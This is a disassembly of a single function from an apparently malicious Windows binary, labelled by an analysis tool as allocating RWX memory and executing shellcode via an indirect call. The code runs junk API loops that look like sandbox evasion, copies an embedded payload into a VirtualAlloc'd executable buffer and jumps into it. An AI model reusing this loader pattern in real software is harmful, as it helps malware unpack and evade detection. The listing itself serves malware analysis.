Function at 0x402b90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x402bba
inc esi
cmp esi, 0x73f04bd
jl 0x402ba6
cmp dword [0x4588a4], 0x400
jne 0x402c00
push ebx
lea eax, [ebp - 0x81c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
push ebx
call fcn.004033f5
add esp, 4
push ebx
push ebx
call fcn.004036b7
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004031e0
fstp st(0)
add esp, 0x10
cmp dword [0x4588a4], 0x93
jne 0x402c6a
xor ecx, ecx
lock bts dword [ecx], 0
push 0x402640
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call fcn.004035b8
add esp, 4
push ebx
push ebx
call fcn.004035e7
add esp, 8
call fcn.00402b80
fldz
push ebx
sub esp, 8
fstp qword [esp]
call fcn.004031f4
add esp, 0xc
fstp st(0)
push 0x30
push ebx
push 0x40264c
push 0x402650
call fcn.004035f2
add esp, 0x10
mov eax, dword [0x4588a4]
mov ecx, dword [0x44ccd4]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x4596e0], ecx
mov dword [0x4588a4], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x458334], eax
mov esi, 0x1692e
call edi
sub esi, 1
jne 0x402ca4
cmp dword [0x4588a4], ebx
jbe 0x402d09
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
nop
mov edx, dword [0x4596e0]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x458334]
mov byte [ecx + esi], al
cmp dword [0x4588a4], 0x490
jne 0x402d00
push 0
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call edi
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call ebx
inc esi
cmp esi, dword [0x4588a4]
jb 0x402cc0
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
xor esi, esi
mov edx, dword [0x4588a4]
add edx, esi
cmp edx, 0x8d
jne 0x402d4e
push 0
lea eax, [ebp - 0x81c]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x402d17
call fcn.00402a60
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0xfa62c8f
jge 0x402d84
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x402d95
inc esi
cmp esi, 0x67d12
jl 0x402d70
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea ecx, [ecx]
call edi
cmp esi, 0x61
jne 0x402dbe
mov dword [ebp - 4], 0
add dword [ebp - 4], 0x1111
mov edx, dword [ebp - 4]
add dword [0x458334], edx
inc esi
cmp esi, 0x674bd
jl 0x402da0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalCompact]
mov dword [ebp - 4], 0x7b
cmp dword [0x4588a4], 0x86
jne 0x402e1a
push 0x40265c
call esi
push 0
lea eax, [ebp - 0x41c]
push eax
push 0x40267c
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0x402690
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
cmp dword [0x4588a4], 0xf
jne 0x402e2f
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 4], 1
jne 0x402de0
call fcn.00402780
call dword [0x458334]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret